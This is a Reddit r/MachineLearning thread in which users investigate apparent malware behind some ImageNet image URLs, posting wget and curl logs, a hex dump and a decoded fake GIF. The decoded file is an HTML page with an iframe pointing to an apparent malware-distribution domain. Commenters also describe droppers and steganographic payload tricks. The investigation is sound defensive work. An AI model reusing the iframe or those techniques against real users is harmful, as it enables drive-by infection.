r/MachineLearning • • Oct 03 '20

Discussion [D] Possible malware found hidden inside images from the ImageNet dataset

I think I've discovered malware hidden inside at least one image from the bat synset: http://imagenet.stanford.edu/api/text/imagenet.synset.geturls?wnid=n02139199

The following URLs show up in Microsoft's AV tools as containing malware:

http://www. learnanimals . com/gray-bat/gray-bat.gif

http://www. pixelbirds .co . uk/webnyct1.jpg

http://www. pixelbirds .co . uk/webmarot2.jpg

But when I posted my find to this subreddit a few days ago, individuals had trouble reproducing my find. I assumed this meant it was a false positive, but decided to dig into why that might be. I sent Microsoft the files saying they were a false positive, and they responded saying that the files were indeed malicious. The IP addresses for the malicious files point to hosts that have been compromised numerous times in the past according to a quick search.

I believe there are two versions of gray-bat.gif, with one containing the malware and the other is completely clean. Somewhere along the line, a check is performed to determine what file to give the user requesting it and that's why some people end up with a file that doesn't contain malware. I don't know exactly what it checks for, but using wget seems to reliably get the malicious file.

When looking at this URL:

http://www. learnanimals . com/gray-bat/gray-bat.gif

I find that it has a redirect to this page:

http://www. learnanimals . com/cgi-sys/suspendedpage.cgi

This suspendedpage.cgi page has HTML code that contains a redirect to a URL that I suspect contains the malicious file:

https://pastebin.com/HXPxcgTV

It may be related to this: https://blog.malwarebytes.com/threat-analysis/2015/02/deceiving-cpanel-account-suspended-page-serves-exploits/

The URL that's redirected to appears to be associated with malware distribution. VirusTotal & Hybrid-Analysis for the fwdssp domain:

https://www.virustotal.com/gui/url/b142b3628c4c53c531a26fdbffa973cd8f500749581384c09eb4c2ea5b198aab/details

https://www.virustotal.com/gui/url/f572077bfe5e53f7be82c2457e98ad45ebbff51c954be6dc0cf228666ddeda70/detection

https://www.hybrid-analysis.com/sample/1f6ea986f545c1099a0cb39db793058a4c18a0a5151ffc62cc541978fa61c482

https://www.joesandbox.com/analysis/280363/0/html

I haven't been able to find out if/how the other two images work and I don't know what the malicious code is doing. I could be completely wrong about this, so keep that in mind. I also don't know if this possible malware is a threat to anyone downloading the ImageNet dataset or who the intended targets are. I also haven't checked every ImageNet image, as I've only been using a few synsets.

Edit:

Google Drive is now suddenly reporting the files as infected with a virus, but most AV tools are still not detecting anything. I also uploaded the files to VirusTotal here: https://www.virustotal.com/gui/file/bf1c1063f889d834a826d8e7c79134c2a674705f2504ce4af6018d4b0d47f980/detection

693 Upvotes

60 comments sorted by

23

u/pinched_algorithm Oct 03 '20

Thanks for alerting the community!

If this dataset is made up of a distributed collection of images on different servers, there's a massive provenance issue here, right?

Obviously never mind the fact that any one host can become compromised like this and so presents significant risk to institutions ingrressing the dataset.

11

u/ProGamerGov Oct 03 '20

Yeah, there was nothing stopping individuals from trying to find weak sites in dataset URL lists and using them attack others. But this may be just be a case of ImageNet accidentally indexing malicious sites.

Unfortunately, if no ones tried this sort of attack on people using datasets, my post may give them the idea to try it.

6

u/[deleted] Oct 04 '20

Damned if you do, damned if you don't.

5

u/r4and0muser9482 Oct 03 '20

I guess it's cool that we know where all these images came from originally, but haven't we already made multiple backup copies of the whole dataset already for this not to be an issue anymore?

3

u/Zenobody Oct 04 '20

They don't have copyright of the images, so I think they can't re-distribute them.

2

u/r4and0muser9482 Oct 04 '20

Research falls under fair use. Besides there are plenty of other examples of this, like Common Crawl. I know there are still problems, like GDPR, but this hasn't stopped people from distributing crawled data for research purposes.

35

u/vikarjramun Oct 03 '20

How do images spread malware? Would opening the infected images allow code execution? Would reading them using PIL/TensorFlow/etc?

48

u/ProGamerGov Oct 03 '20

There are a ton of different ways for images to be used to store and spread malware. I haven't heard of anything targeting PIL/TensorFlow or any other image library used by AI researchers, but it's possible there are unknown exploits that could be used to do so.

For example some image formats like JPG contain exif information that can store malware: https://umbrella.cisco.com/blog/picture-perfect-how-jpg-exif-data-hides-malware

Malware has also been hidden the alpha channel of GIFs: https://www.engadget.com/2016-12-08-malware-infects-computers-by-hiding-in-browser-ad-gifs.html

Malware could also hidden as fake image files.

3

u/nerdy_adventurer Oct 06 '20

What methods can we use to protect from these malware? in the context of ML Ops

5

u/[deleted] Oct 03 '20

Even though that's theoretically not impossible my bet is a lot more boring. Websites get constantly scanned for flaws in order to install malware to spread. The malware itself most likely targets a popular vulnerable platforms e.g. Edge on Windows, Chrome on Android or some outdated version of a browser. Those URLs just happen to be part of a dataset that hasn't be verified since.

78

u/bottleboy8 Oct 03 '20 edited Oct 03 '20

I got this from a wget request:

wget http://www.learnanimals.com/gray-bat/gray-bat.gif

--2020-10-03 14:53:49-- http://www.learnanimals.com/gray-bat/gray-bat.gif Resolving www.learnanimals.com (www.learnanimals.com)... 162.144.12.195

Connecting to www.learnanimals.com (www.learnanimals.com)|162.144.12.195|:80... connected.

HTTP request sent, awaiting response... 302 Found Location: http://www.learnanimals.com/cgi-sys/suspendedpage.cgi [following]

--2020-10-03 14:53:49-- http://www.learnanimals.com/cgi-sys/suspendedpage.cgi

Reusing existing connection to www.learnanimals.com:80. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: ‘gray-bat.gif’

hex dump of the file saved (not a working gif):

0000000 213c 4f44 5443 5059 2045 7468 6c6d 5020
0000010 4255 494c 2043 2d22 2f2f 3357 2f43 442f
0000020 4454 4820 4d54 204c 2e34 3130 5420 6172
0000030 736e 7469 6f69 616e 2f6c 452f 224e 0a3e
0000040 683c 6d74 3e6c 200a 2020 2020 2020 683c
0000050 6165 3e64 200a 2020 2020 2020 2020 2020
0000060 2020 2020 743c 7469 656c 433e 6e6f 6174
0000070 7463 5320 7075 6f70 7472 2f3c 6974 6c74
0000080 3e65 200a 2020 2020 2020 2020 2020 2020
0000090 2020 6d3c 7465 2061 7468 7074 652d 7571
00000a0 7669 223d 6f43 746e 6e65 2d74 7954 6570
00000b0 2022 6f63 746e 6e65 3d74 7422 7865 2f74
00000c0 7468 6c6d 203b 6863 7261 6573 3d74 7475
00000d0 2d66 2238 0a3e 2020 2020 2020 3c20 682f
00000e0 6165 3e64 200a 2020 2020 2020 623c 646f
00000f0 2079 616d 6772 6e69 6977 7464 3d68 3022
0000100 2022 616d 6772 6e69 6568 6769 7468 223d
0000110 2230 6c20 6665 6d74 7261 6967 3d6e 3022
0000120 2022 6f74 6d70 7261 6967 3d6e 3022 3e22
0000130 200a 2020 2020 2020 2020 2020 2020 2020
0000140 693c 7266 6d61 2065 6977 7464 3d68 3122
0000150 3030 2225 6820 6965 6867 3d74 3122 3030
0000160 2225 6620 6172 656d 6f62 6472 7265 223d
0000170 2230 5320 5243 4c4f 494c 474e 223d 7561
0000180 6f74 2022 616d 6772 6e69 6977 7464 3d68
0000190 3022 2022 7273 3d63 6822 7474 3a70 2f2f
00001a0 7766 7364 7073 632e 6d6f 3f2f 6e64 723d
00001b0 6665 7265 7265 645f 7465 6365 2674 6970
00001c0 3d64 5035 4c4f 4634 4f32 2234 3c3e 692f
00001d0 7266 6d61 3e65 200a 2020 2020 2020 2f3c
00001e0 6f62 7964 0a3e 2f3c 7468 6c6d 0a3e     
00001ee

edit: Ran this file on VirusTotal web site. 8 of 49 virus detectors said it was infected. Top result was JS.Trojan.Iframe.37906.

26

u/[deleted] Oct 03 '20

I tried converting to a file but I think I fucked up the endian. Anyway, it looks like it's just a malformed response from the server. I'd say it's just a false-positive from the AVs heuristics.

16

u/ProGamerGov Oct 03 '20

It may be a 'dropper' and doesn't actually contain the main virus code.

8

u/Janderhungrige Oct 03 '20

Could you elaborate on droppers if you have time? I am just curious.

43

u/ProGamerGov Oct 03 '20 edited Oct 03 '20

Droppers are basically malware that's sole purpose is to download other malware, often only if they deem the target is not a security researcher first. Droppers also can prepare a device for the main malware by adding backdoors, gaining administrator privileges, collecting data about the device, and other stuff like that.

1

u/shaggorama Oct 05 '20

Holy shit, I had no idea the malware arms race had become so sophisticated.

0

u/akcom Oct 05 '20

in this thread: statisticians with marginal python programming skills playing cyber security experts.

1

u/akcom Oct 04 '20

Its getting downloaded as a jpeg. How would a jpeg lead to code execution? Dropper doesn't make any sense.

6

u/marvuozz Oct 04 '20

I've seen malware encoded in the lowest significant bit of pixels in a png file. A short powershell script decoded and executed that.

1

u/akcom Oct 04 '20

This is just a jpg file. There is no additional code. So there is nothing that can decode and execute it. That's exactly my point.

2

u/shaggorama Oct 05 '20

Maybe the other piece(s) are on other compromised images in the dataset. Distribute the malware across the dataset, set one chunk as a script which reassembles the other pieces.

Hell of an attack vector. Great way to target machines with access to high compute resources and/or valuable research.

1

u/akcom Oct 05 '20

🤦

6

u/shaggorama Oct 05 '20

I'm not talking about sneaking a peak at some kids thesis draft. A lot of CV research is happening at places like google/Microsoft/amazon. Not to mention DOD weapons research and god even knows what in the intelligence space.

Data scientists aren't renowned for their security practices, and conversely are often trusted with access to sensitive data like PII, medical records, financial transactions...

Frankly, an attack vector that specifically targeted ML researchers is genius and I'm surprised it hasn't already been an issue, the more I think about it.

3

u/justACuriousAlien Oct 04 '20

Seeing as it's using user agents to determine whether you get the file or not this is most likely a browser-specific exploit with respect to how a particular browser loads a particular file. However, I have not looked into this and how it works exactly so this is just a guess.

1

u/PM_ME_UR_OBSIDIAN Oct 09 '20

Bugs in binary decoders have been a longstanding attack vector.

16

u/dittendatt Oct 04 '20

It's an html file just with a gif extension.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
       <head>
               <title>Contact Support</title>
               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       </head>
       <body marginwidth="0" marginheight="0" leftmargin="0" topmargin="0">
               <iframe width="100%" height="100%" frameborder="0" SCROLLING="auto" marginwidth="0" src="http://fwdssp.com/?dn=referer_detect&pid=5POL4F2O4"></iframe>
       </body>
</html>

If you open that in in your browser it might load some nasties from that iframe. Opening the gif in an image viewer will not do anything. Probably

4

u/[deleted] Oct 04 '20

Does the "dropper" activate by just having the file, or when the file is read during training? This is some serious shit how is this not super trending!

5

u/zaptrem Oct 04 '20

I think this exploit only does something when loaded by a specific version of a specific browser containing a certain exploit. It’s an HTML file, not a gif file, so any trainer (unless it’s using the specific vulnerable web rendering engine for a gif for some crazy reason) wouldn’t be affected.

2

u/mywan Oct 04 '20

I can't say much about how this particular image was used. But it's not browser specific. The browser does need to implement the HTML 5 canvas tag for the methods I know to work. The HTML 5 canvas tag can be exploited to get the browser to read the pixel data as javascript.

The Rise of Stegware - infosecurity-magazine.com

So far what they have found embeds the code in the image. But it's entirely possible to turn any unaltered normal image into any piece of code of similar length. Which would make scanning photos for malicious content perfectly useless. But to do this you need to use a mask of roughly the same length. Basically use the image as a OTP key to decode a binary blob included in the iframe.

In such a case there's nothing malicious in the photo to scan. At least until the mask is applied to it. This would mean that the iframe contents itself would need to be analyzed, along with any external code it referenced, before you could say with any certainty it was malicious.

If the machine was already compromised, or had a dropper preinstalled, or depended on a third mask on the back end, it's entirely possible to make it impossible to prove the code is nefarious without prior knowledge. The third mask can even be in the form of a command and control, such that the administrator can decided what code is executed on a case by case bases and change it on the fly. Though you would still need the initial seemingly harmless infection to occur by means of something that can, at least in principle, be analyzed.

None of that has been discovered in the wild to date. But then nobody really knows how to look for it yet. We're nowhere near the peak of stegware yet.

1

u/uhworksucks Oct 10 '20

In windows I believe IE is the default opener for gif files, maybe other browsers override it upon install.

2

u/justACuriousAlien Oct 04 '20

Can I ask, how exactly did you check the file? Because i hope you didn't try and open it normally.. Otherwise that might have lead to its own issues - namely, you getting infected..

8

u/eigenman Oct 03 '20

Just ftr all requests to that domain redirect to that same cgi script. I don't think that's malicious, unless the whole domain is malicious.

~$ curl -v http://www.learnanimals.com
* Rebuilt URL to: http://www.learnanimals.com/
*   Trying 162.144.12.195...
* TCP_NODELAY set
* Connected to www.learnanimals.com (162.144.12.195) port 80 
(#0)
> GET / HTTP/1.1
> Host: www.learnanimals.com
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Sat, 03 Oct 2020 23:48:41 GMT
< Server: Apache
< Location: http://www.learnanimals.com/cgi-sys/suspendedpage.cgi
< Content-Length: 237
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.learnanimals.com/cgi- 
sys/suspendedpage.cgi">here</a>.</p>
</body></html>
* Connection #0 to host www.learnanimals.com left intact

9

u/Udder_Nonsense Oct 03 '20

Great follow up. I was the one that took several samples and checked them individually, and found nothing in my samples.

I did download them with my browser, and I was probably on my Macbook at the time. I wonder if the platform matters as well? Worth checking to see if they serve the malware to windows users?

14

u/ProGamerGov Oct 03 '20

Back in the original post, I tried using Firefox on Windows and it gave me a clean gif file. And thinking back, that was a really stupid thing to do with potential malware that I didn't understand.

9

u/UltraCarnivore Oct 03 '20

Hindsight is 20/20.

4

u/Oasiisz Oct 03 '20

Interesting... noob question but could this happen with any images on any website?

9

u/ProGamerGov Oct 03 '20

I think a lot sites like Reddit, Instagram, Imgur, etc... all try to put checks in place that will stop malicious images from being uploaded. Stripping image metadata like Imgur does also helps, but I don't know the specifics on how any of the other sites operate. I've accidentally triggered Reddit's security with an AI generated image before (had to message the admins for a fix), but I don't know if that was security or spam related.

44

u/MrAcurite Researcher Oct 03 '20

This is some really interesting shit. Thank you for pursuing this line of inquiry, I'm sure we'll all be interested to see what might come of this, or who's trying what.

4

u/zerohourrct Oct 04 '20

Looking to infect web crawlers, probably using some kind of browser fingerprint to serve the regular image to normal browser requests.

Also possible you're getting older good cached images from a CDN.

Or the CDN is compromised. Unlikely.

Good leg work so far.

1

u/hellomrbike Oct 04 '20

Thanks for this info OP, but just a heads up for people using Reddit Enhancement Suite and scrolling reddit: expanding a post with images also leads RES to try to load the images themselves.

So it's probably not a good idea to directly link to these images in your post if they possibly contain malware executed through the browser. You should instead e.g. break the URLs with some symbol to prevent them from loading automatically.

3

u/ProGamerGov Oct 04 '20

I added spaces to the links to break them up. Hopefully that prevents them from being automatically loaded!

2

u/merlinsbeers Oct 04 '20

I feel like Clippy would pop up and ask us if we'd like those links fixed and displayed...

1

u/Bringer_of_Fire Nov 10 '21

Sorry to necro, but any update/conclusion on this? I couldn’t find anything but had just downloaded the ckpt and yaml files of imagenet and tried to use them and now I’m paranoid…

1

u/ProGamerGov Nov 15 '21

The malicious files were part of dead fishing scams, broken malicious javascript for browser webpages, and other stuff related to that. None of the images had anything that could exploit any machine learning libraries.

2

u/Bringer_of_Fire Nov 15 '21

Great, thanks for getting back to me!

6

u/WASDx Oct 04 '20

Bats again...

2

u/_Beferrr Oct 04 '20

Can someone please explain to me how can i get malware from just downloading an image ? i feel very unsafe right now.

2

u/merlinsbeers Oct 04 '20

Any program that accepts input may do dumb things like not limit the input size to the memory allocated for it, so the data could write past the end and maybe overwrite code, and could be executed later if it's in the right spot.

Any program that tries to interpret input data may allow itself to be steered into corners of its interpreter that have bugs or poorly understood side effects, which may allow the input to do unexpected things.

Any program that allows input to be executed as code intentionally may not have accounted for all the code that can be put into the input, so it may be made to execute arbitrary things.

Most programs that read and display a jpg file will just display the file, possibly as a garbage picture. But the file may be crafted to take advantage of a quirk or mistake in one particular program and not care what the rest do with it.

Now, nobody do these things. They're very naughty. And don't let your code let them happen, either. That'd be very lame.

2

u/jgbradley1 Oct 06 '20

Has anyone posted the hash of the corrupt files? That will make it easier to trace and diagnose when clean/malicious files are downloaded.

1

u/ReasonablyBadass Oct 04 '20

Ha, what if it turns out adversarial examples were just hack code?

1

u/ks2028 Oct 05 '20

Wow, interesting...

1

u/Psychological_Cup559 Oct 08 '20

It's worth it that you write an article about your findings and contact the imagenet authors as their data is corrupted. Such malware is injected for many reasons either the person who uploaded dataset had their pc attacked or the website itself has vulnerability. It can be intentional or unintentional. It can be a case of random bot spreading to random machines to spam and monitor your activity or it can be someone with sharp mind spamming 10ks of downloads of imagenet intentionally to spread their bots... and gain control over institutional data...

1

u/[deleted] Oct 04 '20

This is interesting

0

u/minhaj3 Oct 04 '20

I say lets upvote it more so that it can be brought into attention of better security researchers. Although imagenet data is mainly downloaded using some utility script but I have in the past used browser too to search for images directly. So I really think it should be researched more.

-2

u/[deleted] Oct 04 '20

Kudos for the inquisitiveness. I wouldn't rely on Drive, because from my experience it tends to be extra careful. I once sent the apk file for an app I wrote over email, Now, even I can't access it. Drive said the file is malicious.

-1

u/snoggla Oct 04 '20

good job

0

u/[deleted] Oct 03 '20

[deleted]

20

u/[deleted] Oct 03 '20

[removed] — view removed comment

12

u/stermister Oct 03 '20

If this is true, could be massive coverage. I can see the clickbait now... "AI hacked...yada yada"

6

u/[deleted] Oct 04 '20

Lmao yes, news websites that don't understand shit will be writing hilarious headlines and I can't wait for it xD

1

u/chatterbox272 Oct 04 '20

It's also not the first time, ImageNet has had malicious files in it before. At least this is only an issue if you're downloading the images from URLs, rather than just downloading the full datasets from the imagenet website